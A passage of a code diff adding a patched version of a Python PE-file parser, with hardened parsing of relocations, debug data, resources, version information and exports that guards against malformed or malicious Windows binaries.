self.__IMAGE_LOAD_CONFIG_DIRECTORY64_format__ + else: + self.__warnings.append( + "Don't know how to parse LOAD_CONFIG information for non-PE32/" + "PE32+ file" + ) + return None + + load_config_struct = None + try: + load_config_struct = self.__unpack_data__( + format, + self.get_data(rva, Structure(format).sizeof()), + file_offset=self.get_offset_from_rva(rva), + ) + except PEFormatError: + self.__warnings.append( + "Invalid LOAD_CONFIG information. Can't read " "data at RVA: 0x%x" % rva + ) + + if not load_config_struct: + return None + + return LoadConfigData(struct=load_config_struct) + + def parse_relocations_directory(self, rva, size): + """""" + + rlc_size = Structure(self.__IMAGE_BASE_RELOCATION_format__).sizeof() + end = rva + size + + relocations = [] + while rva < end: + + # OC Patch: + # Malware that has bad RVA entries will cause an error. + # Just continue on after an exception + # + try: + rlc = self.__unpack_data__( + self.__IMAGE_BASE_RELOCATION_format__, + self.get_data(rva, rlc_size), + file_offset=self.get_offset_from_rva(rva), + ) + except PEFormatError: + self.__warnings.append( + "Invalid relocation information. Can't read " + "data at RVA: 0x%x" % rva + ) + rlc = None + + if not rlc: + break + + # rlc.VirtualAddress must lie within the Image + if rlc.VirtualAddress > self.OPTIONAL_HEADER.SizeOfImage: + self.__warnings.append( + "Invalid relocation information. VirtualAddress outside" + " of Image: 0x%x" % rlc.VirtualAddress + ) + break + + # rlc.SizeOfBlock must be less or equal than the size of the image + # (It's a rather loose sanity test) + if rlc.SizeOfBlock > self.OPTIONAL_HEADER.SizeOfImage: + self.__warnings.append( + "Invalid relocation information. SizeOfBlock too large" + ": %d" % rlc.SizeOfBlock + ) + break + + reloc_entries = self.parse_relocations( + rva + rlc_size, rlc.VirtualAddress, rlc.SizeOfBlock - rlc_size + ) + + relocations.append(BaseRelocationData(struct=rlc, entries=reloc_entries)) + + if not rlc.SizeOfBlock: + break + rva += rlc.SizeOfBlock + + return relocations + + def parse_relocations(self, data_rva, rva, size): + """""" + + try: + data = self.get_data(data_rva, size) + file_offset = self.get_offset_from_rva(data_rva) + except PEFormatError: + self.__warnings.append(f"Bad RVA in relocation data: 0x{data_rva:x}") + return [] + + entries = [] + offsets_and_type = [] + for idx in range(int(len(data) / 2)): + + entry = self.__unpack_data__( + self.__IMAGE_BASE_RELOCATION_ENTRY_format__, + data[idx * 2 : (idx + 1) * 2], + file_offset=file_offset, + ) + + if not entry: + break + word = entry.Data + + reloc_type = word >> 12 + reloc_offset = word & 0x0FFF + if (reloc_offset, reloc_type) in offsets_and_type: + self.__warnings.append( + "Overlapping offsets in relocation data " + "at RVA: 0x%x" % (reloc_offset + rva) + ) + break + if len(offsets_and_type) >= 1000: + offsets_and_type.pop() + offsets_and_type.insert(0, (reloc_offset, reloc_type)) + + entries.append( + RelocationData( + struct=entry, type=reloc_type, base_rva=rva, rva=reloc_offset + rva + ) + ) + file_offset += entry.sizeof() + + return entries + + def parse_debug_directory(self, rva, size): + """""" + + dbg_size = Structure(self.__IMAGE_DEBUG_DIRECTORY_format__).sizeof() + + debug = [] + for idx in range(int(size / dbg_size)): + try: + data = self.get_data(rva + dbg_size * idx, dbg_size) + except PEFormatError: + self.__warnings.append( + "Invalid debug information. Can't read " "data at RVA: 0x%x" % rva + ) + return None + + dbg = self.__unpack_data__( + self.__IMAGE_DEBUG_DIRECTORY_format__, + data, + file_offset=self.get_offset_from_rva(rva + dbg_size * idx), + ) + + if not dbg: + return None + + # apply structure according to DEBUG_TYPE + # http://www.debuginfo.com/articles/debuginfomatch.html + # + dbg_type = None + + if dbg.Type == 1: + # IMAGE_DEBUG_TYPE_COFF + pass + + elif dbg.Type == 2: + # if IMAGE_DEBUG_TYPE_CODEVIEW + dbg_type_offset = dbg.PointerToRawData + dbg_type_size = dbg.SizeOfData + dbg_type_data = self.__data__[ + dbg_type_offset : dbg_type_offset + dbg_type_size + ] + + if dbg_type_data[:4] == b"RSDS": + # pdb7.0 + __CV_INFO_PDB70_format__ = [ + "CV_INFO_PDB70", + [ + "I,CvSignature", + "I,Signature_Data1", # Signature is of GUID type + "H,Signature_Data2", + "H,Signature_Data3", + "8s,Signature_Data4", + # 'H,Signature_Data5', + # 'I,Signature_Data6', + "I,Age", + ], + ] + pdbFileName_size = ( + dbg_type_size - Structure(__CV_INFO_PDB70_format__).sizeof() + ) + + # pdbFileName_size can be negative here, as seen in the malware + # sample with hash + # MD5: 7c297600870d026c014d42596bb9b5fd + # SHA256: + # 83f4e63681fcba8a9d7bbb1688c71981b1837446514a1773597e0192bba9fac3 + # Checking for positive size here to ensure proper parsing. + if pdbFileName_size > 0: + __CV_INFO_PDB70_format__[1].append( + "{0}s,PdbFileName".format(pdbFileName_size) + ) + dbg_type = self.__unpack_data__( + __CV_INFO_PDB70_format__, dbg_type_data, dbg_type_offset + ) + + elif dbg_type_data[:4] == b"NB10": + # pdb2.0 + __CV_INFO_PDB20_format__ = [ + "CV_INFO_PDB20", + [ + "I,CvHeaderSignature", + "I,CvHeaderOffset", + "I,Signature", + "I,Age", + ], + ] + pdbFileName_size = ( + dbg_type_size - Structure(__CV_INFO_PDB20_format__).sizeof() + ) + + # As with the PDB 7.0 case, ensuring a positive size for + # pdbFileName_size to ensure proper parsing. + if pdbFileName_size > 0: + # Add the last variable-length string field. + __CV_INFO_PDB20_format__[1].append( + "{0}s,PdbFileName".format(pdbFileName_size) + ) + dbg_type = self.__unpack_data__( + __CV_INFO_PDB20_format__, dbg_type_data, dbg_type_offset + ) + + elif dbg.Type == 4: + # IMAGE_DEBUG_TYPE_MISC + dbg_type_offset = dbg.PointerToRawData + dbg_type_size = dbg.SizeOfData + dbg_type_data = self.__data__[ + dbg_type_offset : dbg_type_offset + dbg_type_size + ] + ___IMAGE_DEBUG_MISC_format__ = [ + "IMAGE_DEBUG_MISC", + [ + "I,DataType", + "I,Length", + "B,Unicode", + "B,Reserved1", + "H,Reserved2", + ], + ] + dbg_type_partial = self.__unpack_data__( + ___IMAGE_DEBUG_MISC_format__, dbg_type_data, dbg_type_offset + ) + + # Need to check that dbg_type_partial contains a correctly unpacked data + # structure, as the malware sample with the following hash + # MD5: 5e7d6707d693108de5a303045c17d95b + # SHA256: + # 5dd94a95025f3b6e3dd440d52f7c6d2964fdd1aa119e0ee92e38c7bf83829e5c + # contains a value of None for dbg_type_partial after unpacking, + # presumably due to a malformed DEBUG entry. + if dbg_type_partial: + # The Unicode bool should be set to 0 or 1. + if dbg_type_partial.Unicode in (0, 1): + data_size = ( + dbg_type_size + - Structure(___IMAGE_DEBUG_MISC_format__).sizeof() + ) + + # As with the PDB case, ensuring a positive size for data_size + # here to ensure proper parsing. + if data_size > 0: + ___IMAGE_DEBUG_MISC_format__[1].append( + "{0}s,Data".format(data_size) + ) + dbg_type = self.__unpack_data__( + ___IMAGE_DEBUG_MISC_format__, dbg_type_data, dbg_type_offset + ) + + debug.append(DebugData(struct=dbg, entry=dbg_type)) + + return debug + + def parse_resources_directory(self, rva, size=0, base_rva=None, level=0, dirs=None): + """Parse the resources directory. + + Given the RVA of the resources directory, it will process all + its entries. + + The root will have the corresponding member of its structure, + IMAGE_RESOURCE_DIRECTORY plus 'entries', a list of all the + entries in the directory. + + Those entries will have, correspondingly, all the structure's + members (IMAGE_RESOURCE_DIRECTORY_ENTRY) and an additional one, + "directory", pointing to the IMAGE_RESOURCE_DIRECTORY structure + representing upper layers of the tree. This one will also have + an 'entries' attribute, pointing to the 3rd, and last, level. + Another directory with more entries. Those last entries will + have a new attribute (both 'leaf' or 'data_entry' can be used to + access it). This structure finally points to the resource data. + All the members of this structure, IMAGE_RESOURCE_DATA_ENTRY, + are available as its attributes. + """ + + # OC Patch: + if dirs is None: + dirs = [rva] + + if base_rva is None: + base_rva = rva + + if level > MAX_RESOURCE_DEPTH: + self.__warnings.append( + "Error parsing the resources directory. " + "Excessively nested table depth %d (>%s)" % (level, MAX_RESOURCE_DEPTH) + ) + return None + + try: + # If the RVA is invalid all would blow up. Some EXEs seem to be + # specially nasty and have an invalid RVA. + data = self.get_data( + rva, Structure(self.__IMAGE_RESOURCE_DIRECTORY_format__).sizeof() + ) + except PEFormatError: + self.__warnings.append( + "Invalid resources directory. Can't read " + "directory data at RVA: 0x%x" % rva + ) + return None + + # Get the resource directory structure, that is, the header + # of the table preceding the actual entries + # + resource_dir = self.__unpack_data__( + self.__IMAGE_RESOURCE_DIRECTORY_format__, + data, + file_offset=self.get_offset_from_rva(rva), + ) + if resource_dir is None: + # If we can't parse resources directory then silently return. + # This directory does not necessarily have to be valid to + # still have a valid PE file + self.__warnings.append( + "Invalid resources directory. Can't parse " + "directory data at RVA: 0x%x" % rva + ) + return None + + dir_entries = [] + + # Advance the RVA to the position immediately following the directory + # table header and pointing to the first entry in the table + # + rva += resource_dir.sizeof() + + number_of_entries = ( + resource_dir.NumberOfNamedEntries + resource_dir.NumberOfIdEntries + ) + + # Set a hard limit on the maximum reasonable number of entries + MAX_ALLOWED_ENTRIES = 4096 + if number_of_entries > MAX_ALLOWED_ENTRIES: + self.__warnings.append( + "Error parsing the resources directory. " + "The directory contains %d entries (>%s)" + % (number_of_entries, MAX_ALLOWED_ENTRIES) + ) + return None + + self.__total_resource_entries_count += number_of_entries + if self.__total_resource_entries_count > MAX_RESOURCE_ENTRIES: + self.__warnings.append( + "Error parsing the resources directory. " + "The file contains at least %d entries (>%d)" + % (self.__total_resource_entries_count, MAX_RESOURCE_ENTRIES) + ) + return None + + strings_to_postprocess = [] + + # Keep track of the last name's start and end offsets in order + # to be able to detect overlapping entries that might suggest + # and invalid or corrupt directory. + last_name_begin_end = None + for idx in range(number_of_entries): + if ( + not self.__resource_size_limit_reached + and self.__total_resource_bytes > self.__resource_size_limit_upperbounds + ): + + self.__resource_size_limit_reached = True + self.__warnings.append( + "Resource size 0x%x exceeds file size 0x%x, overlapping " + "resources found." + % ( + self.__total_resource_bytes, + self.__resource_size_limit_upperbounds, + ) + ) + + res = self.parse_resource_entry(rva) + if res is None: + self.__warnings.append( + "Error parsing the resources directory, " + "Entry %d is invalid, RVA = 0x%x. " % (idx, rva) + ) + break + + entry_name = None + entry_id = None + + name_is_string = (res.Name & 0x80000000) >> 31 + if not name_is_string: + entry_id = res.Name + else: + ustr_offset = base_rva + res.NameOffset + try: + entry_name = UnicodeStringWrapperPostProcessor(self, ustr_offset) + self.__total_resource_bytes += entry_name.get_pascal_16_length() + # If the last entry's offset points before the current's but its end + # is past the current's beginning, assume the overlap indicates a + # corrupt name. + if last_name_begin_end and ( + last_name_begin_end[0] < ustr_offset + and last_name_begin_end[1] >= ustr_offset + ): + # Remove the previous overlapping entry as it's likely to be + # already corrupt data. + strings_to_postprocess.pop() + self.__warnings.append( + "Error parsing the resources directory, " + "attempting to read entry name. " + "Entry names overlap 0x%x" % (ustr_offset) + ) + break + + last_name_begin_end = ( + ustr_offset, + ustr_offset + entry_name.get_pascal_16_length(), + ) + + strings_to_postprocess.append(entry_name) + + except PEFormatError: + self.__warnings.append( + "Error parsing the resources directory, " + "attempting to read entry name. " + "Can't read unicode string at offset 0x%x" % (ustr_offset) + ) + + if res.DataIsDirectory: + # OC Patch: + # + # One trick malware can do is to recursively reference + # the next directory. This causes hilarity to ensue when + # trying to parse everything correctly. + # If the original RVA given to this function is equal to + # the next one to parse, we assume that it's a trick. + # Instead of raising a PEFormatError this would skip some + # reasonable data so we just break. + # + # 9ee4d0a0caf095314fd7041a3e4404dc is the offending sample + if base_rva + res.OffsetToDirectory in dirs: + break + + entry_directory = self.parse_resources_directory( + base_rva + res.OffsetToDirectory, + size - (rva - base_rva), # size + base_rva=base_rva, + level=level + 1, + dirs=dirs + [base_rva + res.OffsetToDirectory], + ) + + if not entry_directory: + break + + # Ange Albertini's code to process resources' strings + # + strings = None + if entry_id == RESOURCE_TYPE["RT_STRING"]: + strings = {} + for resource_id in entry_directory.entries: + if hasattr(resource_id, "directory"): + + resource_strings = {} + + for resource_lang in resource_id.directory.entries: + + if ( + resource_lang is None + or not hasattr(resource_lang, "data") + or resource_lang.data.struct.Size is None + or resource_id.id is None + ): + continue + + string_entry_rva = ( + resource_lang.data.struct.OffsetToData + ) + string_entry_size = resource_lang.data.struct.Size + string_entry_id = resource_id.id + + # XXX: has been raising exceptions preventing parsing + try: + string_entry_data = self.get_data( + string_entry_rva, string_entry_size + ) + except PEFormatError: + self.__warnings.append( + f"Error parsing resource of type RT_STRING at " + f"RVA 0x{string_entry_rva:x} with " + f"size {string_entry_size}" + ) + continue + + parse_strings( + string_entry_data, + (int(string_entry_id) - 1) * 16, + resource_strings, + ) + strings.update(resource_strings) + + resource_id.directory.strings = resource_strings + + dir_entries.append( + ResourceDirEntryData( + struct=res, + name=entry_name, + id=entry_id, + directory=entry_directory, + ) + ) + + else: + struct = self.parse_resource_data_entry( + base_rva + res.OffsetToDirectory + ) + + if struct: + self.__total_resource_bytes += struct.Size + entry_data = ResourceDataEntryData( + struct=struct, lang=res.Name & 0x3FF, sublang=res.Name >> 10 + ) + + dir_entries.append( + ResourceDirEntryData( + struct=res, name=entry_name, id=entry_id, data=entry_data + ) + ) + + else: + break + + # Check if this entry contains version information + # + if level == 0 and res.Id == RESOURCE_TYPE["RT_VERSION"]: + if dir_entries: + last_entry = dir_entries[-1] + + try: + version_entries = last_entry.directory.entries[0].directory.entries + except: + # Maybe a malformed directory structure...? + # Let's ignore it + pass + else: + for version_entry in version_entries: + rt_version_struct = None + try: + rt_version_struct = version_entry.data.struct + except: + # Maybe a malformed directory structure...? + # Let's ignore it + pass + + if rt_version_struct is not None: + self.parse_version_information(rt_version_struct) + + rva += res.sizeof() + + string_rvas = [s.get_rva() for s in strings_to_postprocess] + string_rvas.sort() + + for idx, s in enumerate(strings_to_postprocess): + s.render_pascal_16() + + resource_directory_data = ResourceDirData( + struct=resource_dir, entries=dir_entries + ) + + return resource_directory_data + + def parse_resource_data_entry(self, rva): + """Parse a data entry from the resources directory.""" + + try: + # If the RVA is invalid all would blow up. Some EXEs seem to be + # specially nasty and have an invalid RVA. + data = self.get_data( + rva, Structure(self.__IMAGE_RESOURCE_DATA_ENTRY_format__).sizeof() + ) + except PEFormatError: + self.__warnings.append( + "Error parsing a resource directory data entry, " + "the RVA is invalid: 0x%x" % (rva) + ) + return None + + data_entry = self.__unpack_data__( + self.__IMAGE_RESOURCE_DATA_ENTRY_format__, + data, + file_offset=self.get_offset_from_rva(rva), + ) + + return data_entry + + def parse_resource_entry(self, rva): + """Parse a directory entry from the resources directory.""" + + try: + data = self.get_data( + rva, Structure(self.__IMAGE_RESOURCE_DIRECTORY_ENTRY_format__).sizeof() + ) + except PEFormatError: + # A warning will be added by the caller if this method returns None + return None + + resource = self.__unpack_data__( + self.__IMAGE_RESOURCE_DIRECTORY_ENTRY_format__, + data, + file_offset=self.get_offset_from_rva(rva), + ) + + if resource is None: + return None + + # resource.NameIsString = (resource.Name & 0x80000000L) >> 31 + resource.NameOffset = resource.Name & 0x7FFFFFFF + + resource.__pad = resource.Name & 0xFFFF0000 + resource.Id = resource.Name & 0x0000FFFF + + resource.DataIsDirectory = (resource.OffsetToData & 0x80000000) >> 31 + resource.OffsetToDirectory = resource.OffsetToData & 0x7FFFFFFF + + return resource + + def parse_version_information(self, version_struct): + """Parse version information structure. + + The date will be made available in three attributes of the PE object. + + VS_VERSIONINFO will contain the first three fields of the main structure: + 'Length', 'ValueLength', and 'Type' + + VS_FIXEDFILEINFO will hold the rest of the fields, accessible as sub-attributes: + 'Signature', 'StrucVersion', 'FileVersionMS', 'FileVersionLS', + 'ProductVersionMS', 'ProductVersionLS', 'FileFlagsMask', 'FileFlags', + 'FileOS', 'FileType', 'FileSubtype', 'FileDateMS', 'FileDateLS' + + FileInfo is a list of all StringFileInfo and VarFileInfo structures. + + StringFileInfo structures will have a list as an attribute named 'StringTable' + containing all the StringTable structures. Each of those structures contains a + dictionary 'entries' with all the key / value version information string pairs. + + VarFileInfo structures will have a list as an attribute named 'Var' containing + all Var structures. Each Var structure will have a dictionary as an attribute + named 'entry' which will contain the name and value of the Var. + """ + + # Retrieve the data for the version info resource + # + try: + start_offset = self.get_offset_from_rva(version_struct.OffsetToData) + except PEFormatError: + self.__warnings.append( + "Error parsing the version information, " + "attempting to read OffsetToData with RVA: 0x{:x}".format( + version_struct.OffsetToData + ) + ) + return + raw_data = self.__data__[start_offset : start_offset + version_struct.Size] + + # Map the main structure and the subsequent string + # + versioninfo_struct = self.__unpack_data__( + self.__VS_VERSIONINFO_format__, raw_data, file_offset=start_offset + ) + + if versioninfo_struct is None: + return + + ustr_offset = version_struct.OffsetToData + versioninfo_struct.sizeof() + section = self.get_section_by_rva(ustr_offset) + section_end = None + if section: + section_end = section.VirtualAddress + max( + section.SizeOfRawData, section.Misc_VirtualSize + ) + + versioninfo_string = None + # These should return 'ascii' decoded data. For the case when it's + # garbled data the ascii string will retain the byte values while + # encoding it to something else may yield values that don't match the + # file's contents. + try: + if section_end is None: + versioninfo_string = self.get_string_u_at_rva( + ustr_offset, encoding="ascii" + ) + else: + versioninfo_string = self.get_string_u_at_rva( + ustr_offset, (section_end - ustr_offset) >> 1, encoding="ascii" + ) + except PEFormatError: + self.__warnings.append( + "Error parsing the version information, " + "attempting to read VS_VERSION_INFO string. Can't " + "read unicode string at offset 0x%x" % (ustr_offset) + ) + + if versioninfo_string is None: + self.__warnings.append( + "Invalid VS_VERSION_INFO block: {0}".format(versioninfo_string) + ) + return + + # If the structure does not contain the expected name, it's assumed to + # be invalid + if versioninfo_string is not None and versioninfo_string != b"VS_VERSION_INFO": + if len(versioninfo_string) > 128: + excerpt = versioninfo_string[:128].decode("ascii") + # Don't leave any half-escaped characters + excerpt = excerpt[: excerpt.rfind("\\u")] + versioninfo_string = b( + "{0} ... ({1} bytes, too long to display)".format( + excerpt, len(versioninfo_string) + ) + ) + self.__warnings.append( + "Invalid VS_VERSION_INFO block: {0}".format( + versioninfo_string.decode("ascii").replace("\00", "\\00") + ) + ) + return + + if not hasattr(self, "VS_VERSIONINFO"): + self.VS_VERSIONINFO = [] + + # Set the PE object's VS_VERSIONINFO to this one + vinfo = versioninfo_struct + + # Set the Key attribute to point to the unicode string identifying the structure + vinfo.Key = versioninfo_string + + self.VS_VERSIONINFO.append(vinfo) + + if versioninfo_string is None: + versioninfo_string = "" + # Process the fixed version information, get the offset and structure + fixedfileinfo_offset = self.dword_align( + versioninfo_struct.sizeof() + 2 * (len(versioninfo_string) + 1), + version_struct.OffsetToData, + ) + fixedfileinfo_struct = self.__unpack_data__( + self.__VS_FIXEDFILEINFO_format__, + raw_data[fixedfileinfo_offset:], + file_offset=start_offset + fixedfileinfo_offset, + ) + + if not fixedfileinfo_struct: + return + + if not hasattr(self, "VS_FIXEDFILEINFO"): + self.VS_FIXEDFILEINFO = [] + + # Set the PE object's VS_FIXEDFILEINFO to this one + self.VS_FIXEDFILEINFO.append(fixedfileinfo_struct) + + # Start parsing all the StringFileInfo and VarFileInfo structures + + # Get the first one + stringfileinfo_offset = self.dword_align( + fixedfileinfo_offset + fixedfileinfo_struct.sizeof(), + version_struct.OffsetToData, + ) + + # Set the PE object's attribute that will contain them all. + if not hasattr(self, "FileInfo"): + self.FileInfo = [] + + finfo = [] + while True: + + # Process the StringFileInfo/VarFileInfo structure + stringfileinfo_struct = self.__unpack_data__( + self.__StringFileInfo_format__, + raw_data[stringfileinfo_offset:], + file_offset=start_offset + stringfileinfo_offset, + ) + + if stringfileinfo_struct is None: + self.__warnings.append( + "Error parsing StringFileInfo/VarFileInfo struct" + ) + return None + + # Get the subsequent string defining the structure. + ustr_offset = ( + version_struct.OffsetToData + + stringfileinfo_offset + + versioninfo_struct.sizeof() + ) + try: + stringfileinfo_string = self.get_string_u_at_rva(ustr_offset) + except PEFormatError: + self.__warnings.append( + "Error parsing the version information, " + "attempting to read StringFileInfo string. Can't " + "read unicode string at offset 0x{0:x}".format(ustr_offset) + ) + break + + # Set such string as the Key attribute + stringfileinfo_struct.Key = stringfileinfo_string + + # Append the structure to the PE object's list + finfo.append(stringfileinfo_struct) + + # Parse a StringFileInfo entry + if stringfileinfo_string and stringfileinfo_string.startswith( + b"StringFileInfo" + ): + + if ( + stringfileinfo_struct.Type in (0, 1) + and stringfileinfo_struct.ValueLength == 0 + ): + + stringtable_offset = self.dword_align( + stringfileinfo_offset + + stringfileinfo_struct.sizeof() + + 2 * (len(stringfileinfo_string) + 1), + version_struct.OffsetToData, + ) + + stringfileinfo_struct.StringTable = [] + + # Process the String Table entries + while True: + + stringtable_struct = self.__unpack_data__( + self.__StringTable_format__, + raw_data[stringtable_offset:], + file_offset=start_offset + stringtable_offset, + ) + + if not stringtable_struct: + break + + ustr_offset = ( + version_struct.OffsetToData + + stringtable_offset + + stringtable_struct.sizeof() + ) + try: + stringtable_string = self.get_string_u_at_rva(ustr_offset) + except PEFormatError: + self.__warnings.append( + "Error parsing the version information, " + "attempting to read StringTable string. Can't " + "read unicode string at offset 0x{0:x}".format( + ustr_offset + ) + ) + break + + stringtable_struct.LangID = stringtable_string + stringtable_struct.entries = {} + stringtable_struct.entries_offsets = {} + stringtable_struct.entries_lengths = {} + stringfileinfo_struct.StringTable.append(stringtable_struct) + + entry_offset = self.dword_align( + stringtable_offset + + stringtable_struct.sizeof() + + 2 * (len(stringtable_string) + 1), + version_struct.OffsetToData, + ) + + # Process all entries in the string table + + while ( + entry_offset + < stringtable_offset + stringtable_struct.Length + ): + + string_struct = self.__unpack_data__( + self.__String_format__, + raw_data[entry_offset:], + file_offset=start_offset + entry_offset, + ) + + if not string_struct: + break + + ustr_offset = ( + version_struct.OffsetToData + + entry_offset + + string_struct.sizeof() + ) + try: + key = self.get_string_u_at_rva(ustr_offset) + key_offset = self.get_offset_from_rva(ustr_offset) + except PEFormatError: + self.__warnings.append( + "Error parsing the version information, " + "attempting to read StringTable Key string. Can't " + "read unicode string at offset 0x{0:x}".format( + ustr_offset + ) + ) + break + + value_offset = self.dword_align( + 2 * (len(key) + 1) + + entry_offset + + string_struct.sizeof(), + version_struct.OffsetToData, + ) + + ustr_offset = version_struct.OffsetToData + value_offset + try: + value = self.get_string_u_at_rva( + ustr_offset, max_length=string_struct.ValueLength + ) + value_offset = self.get_offset_from_rva(ustr_offset) + except PEFormatError: + self.__warnings.append( + "Error parsing the version information, attempting " + "to read StringTable Value string. Can't read " + f"unicode string at offset 0x{ustr_offset:x}" + ) + break + + if string_struct.Length == 0: + entry_offset = ( + stringtable_offset + stringtable_struct.Length + ) + else: + entry_offset = self.dword_align( + string_struct.Length + entry_offset, + version_struct.OffsetToData, + ) + + stringtable_struct.entries[key] = value + stringtable_struct.entries_offsets[key] = ( + key_offset, + value_offset, + ) + stringtable_struct.entries_lengths[key] = ( + len(key), + len(value), + ) + + new_stringtable_offset = self.dword_align( + stringtable_struct.Length + stringtable_offset, + version_struct.OffsetToData, + ) + + # Check if the entry is crafted in a way that would lead + # to an infinite loop and break if so. + if new_stringtable_offset == stringtable_offset: + break + stringtable_offset = new_stringtable_offset + + if stringtable_offset >= stringfileinfo_struct.Length: + break + + # Parse a VarFileInfo entry + elif stringfileinfo_string and stringfileinfo_string.startswith( + b"VarFileInfo" + ): + + varfileinfo_struct = stringfileinfo_struct + varfileinfo_struct.name = "VarFileInfo" + + if ( + varfileinfo_struct.Type in (0, 1) + and varfileinfo_struct.ValueLength == 0 + ): + + var_offset = self.dword_align( + stringfileinfo_offset + + varfileinfo_struct.sizeof() + + 2 * (len(stringfileinfo_string) + 1), + version_struct.OffsetToData, + ) + + varfileinfo_struct.Var = [] + + # Process all entries + + while True: + var_struct = self.__unpack_data__( + self.__Var_format__, + raw_data[var_offset:], + file_offset=start_offset + var_offset, + ) + + if not var_struct: + break + + ustr_offset = ( + version_struct.OffsetToData + + var_offset + + var_struct.sizeof() + ) + try: + var_string = self.get_string_u_at_rva(ustr_offset) + except PEFormatError: + self.__warnings.append( + "Error parsing the version information, " + "attempting to read VarFileInfo Var string. " + "Can't read unicode string at offset 0x{0:x}".format( + ustr_offset + ) + ) + break + + if var_string is None: + break + + varfileinfo_struct.Var.append(var_struct) + + varword_offset = self.dword_align( + 2 * (len(var_string) + 1) + + var_offset + + var_struct.sizeof(), + version_struct.OffsetToData, + ) + orig_varword_offset = varword_offset + + while ( + varword_offset + < orig_varword_offset + var_struct.ValueLength + ): + word1 = self.get_word_from_data( + raw_data[varword_offset : varword_offset + 2], 0 + ) + word2 = self.get_word_from_data( + raw_data[varword_offset + 2 : varword_offset + 4], 0 + ) + varword_offset += 4 + + if isinstance(word1, int) and isinstance(word2, int): + var_struct.entry = { + var_string: "0x%04x 0x%04x" % (word1, word2) + } + + var_offset = self.dword_align( + var_offset + var_struct.Length, version_struct.OffsetToData + ) + + if var_offset <= var_offset + var_struct.Length: + break + + # Increment and align the offset + stringfileinfo_offset = self.dword_align( + stringfileinfo_struct.Length + stringfileinfo_offset, + version_struct.OffsetToData, + ) + + # Check if all the StringFileInfo and VarFileInfo items have been processed + if ( + stringfileinfo_struct.Length == 0 + or stringfileinfo_offset >= versioninfo_struct.Length + ): + break + + self.FileInfo.append(finfo) + + def parse_export_directory(self, rva, size, forwarded_only=False): + """Parse the export directory. + + Given the RVA of the export directory, it will process all + its entries. + + The exports will be made available as a list of ExportData + instances in the 'IMAGE_DIRECTORY_ENTRY_EXPORT' PE attribute. + """ + + try: + export_dir = self.__unpack_data__( + self.__IMAGE_EXPORT_DIRECTORY_format__, + self.get_data( + rva, Structure(self.__IMAGE_EXPORT_DIRECTORY_format__).sizeof() + ), + file_offset=self.get_offset_from_rva(rva), + ) + except PEFormatError: + self.__warnings.append( + "Error parsing export directory at RVA: 0x%x" % (rva) + ) + return + + if not export_dir: + return + + # We keep track of the bytes left in the file and use it to set a upper + # bound in the number of items that can be read from the different + # arrays. + def length_until_eof(rva): + return len(self.__data__) - self.get_offset_from_rva(rva) + + try: + address_of_names = self.get_data( + export_dir.AddressOfNames, + min( + length_until_eof(export_dir.AddressOfNames), + export_dir.NumberOfNames * 4, + ), + ) + address_of_name_ordinals = self.get_data( + export_dir.AddressOfNameOrdinals, + min( + length_until_eof(export_dir.AddressOfNameOrdinals), + export_dir.NumberOfNames * 4, + ), + ) + address_of_functions = self.get_data( + export_dir.AddressOfFunctions, + min( + length_until_eof(export_dir.AddressOfFunctions), + export_dir.NumberOfFunctions * 4, + ), + ) + except PEFormatError: + self.__warnings.append( + "Error parsing export directory at RVA: 0x%x" % (rva) + ) + return + + exports = [] + + max_failed_entries_before_giving_up = 10 + + section = self.get_section_by_rva(export_dir.AddressOfNames) + # Overly generous upper bound + safety_boundary = len(self.__data__) + if section: + safety_boundary = ( + section.VirtualAddress + + len(section.get_data()) + - export_dir.AddressOfNames + ) + + symbol_counts = collections.defaultdict(int) + export_parsing_loop_completed_normally = True + for i in range(min(export_dir.NumberOfNames, int(safety_boundary / 4))): + symbol_ordinal = self.get_word_from_data(address_of_name_ordinals, i) + + if symbol_ordinal is not None and symbol_ordinal * 4 < len( + address_of_functions + ): + symbol_address = self.get_dword_from_data( + address_of_functions, symbol_ordinal + ) + else: + # Corrupt? a bad pointer... we assume it's all + # useless, no exports + return None + if symbol_address is None or symbol_address == 0: + continue + + # If the function's RVA points within the export directory + # it will point to a string with the forwarded symbol's string + # instead of pointing the the function start address. + if symbol_address >= rva and symbol_address < rva + size: + forwarder_str = self.get_string_at_rva(symbol_address) + try: + forwarder_offset = self.get_offset_from_rva(symbol_address) + except PEFormatError: + continue + else: + if forwarded_only: + continue + forwarder_str = None + forwarder_offset = None + + symbol_name_address = self.get_dword_from_data(address_of_names, i) + if symbol_name_address is None: + max_failed_entries_before_giving_up -= 1 + if max_failed_entries_before_giving_up <= 0: + export_parsing_loop_completed_normally = False + break + + symbol_name = self.get_string_at_rva( + symbol_name_address, MAX_SYMBOL_NAME_LENGTH + ) + if not is_valid_function_name(symbol_name): + export_parsing_loop_completed_normally = False + break + try: + symbol_name_offset = self.get_offset_from_rva(symbol_name_address) + except PEFormatError: + max_failed_entries_before_giving_up -= 1 + if max_failed_entries_before_giving_up <= 0: + export_parsing_loop_completed_normally = False + break + try: + symbol_name_offset = self.get_offset_from_rva(symbol_name_address) + except PEFormatError: + max_failed_entries_before_giving_up -= 1 + if max_failed_entries_before_giving_up <= 0: + export_parsing_loop_completed_normally = False + break + continue + + # File 0b1d3d3664915577ab9a32188d29bbf3542b86c7b9ce333e245496c3018819f1 + # was being parsed as potentially containing millions of exports. + # Checking for duplicates addresses the issue. + symbol_counts[(symbol_name, symbol_address)] += 1 + if symbol_counts[(symbol_name, symbol_address)] > 10: + self.__warnings.append( + f"Export directory contains more than 10 repeated entries " + f"({symbol_name}, {symbol_address:#02x}). Assuming corrupt." + ) + break + elif len(symbol_counts) > self.max_symbol_exports: + self.__warnings.append( + "Export directory contains more than {} symbol entries. " + "Assuming corrupt.".format(self.max_symbol_exports) + ) + break + + exports.append( + ExportData( + pe=self, + ordinal=export_dir.Base + symbol_ordinal, + ordinal_offset=self.get_offset_from_rva( + export_dir.AddressOfNameOrdinals + 2 * i + ), + address=symbol_address, + address_offset=self.get_offset_from_rva( + export_dir.AddressOfFunctions + 4 * symbol_ordinal + ), + name=symbol_name, + name_offset=symbol_name_offset, + forwarder=forwarder_str, + forwarder_offset=forwarder_offset, + ) + ) + + if not export_parsing_loop_completed_normally: + self.__warnings.append( + f"RVA AddressOfNames in the export directory points to an invalid " + f"address: {export_dir.AddressOfNames:x}" + ) + + ordinals = {exp.ordinal for exp in exports} + + max_failed_entries_before_giving_up = 10 + + section = self.get_section_by_rva(export_dir.AddressOfFunctions) + # Overly generous upper bound + safety_boundary = len(self.__data__) + if section: + safety_boundary = ( + section.VirtualAddress + + len(section.get_data()) + - export_dir.AddressOfFunctions + ) + + symbol_counts = 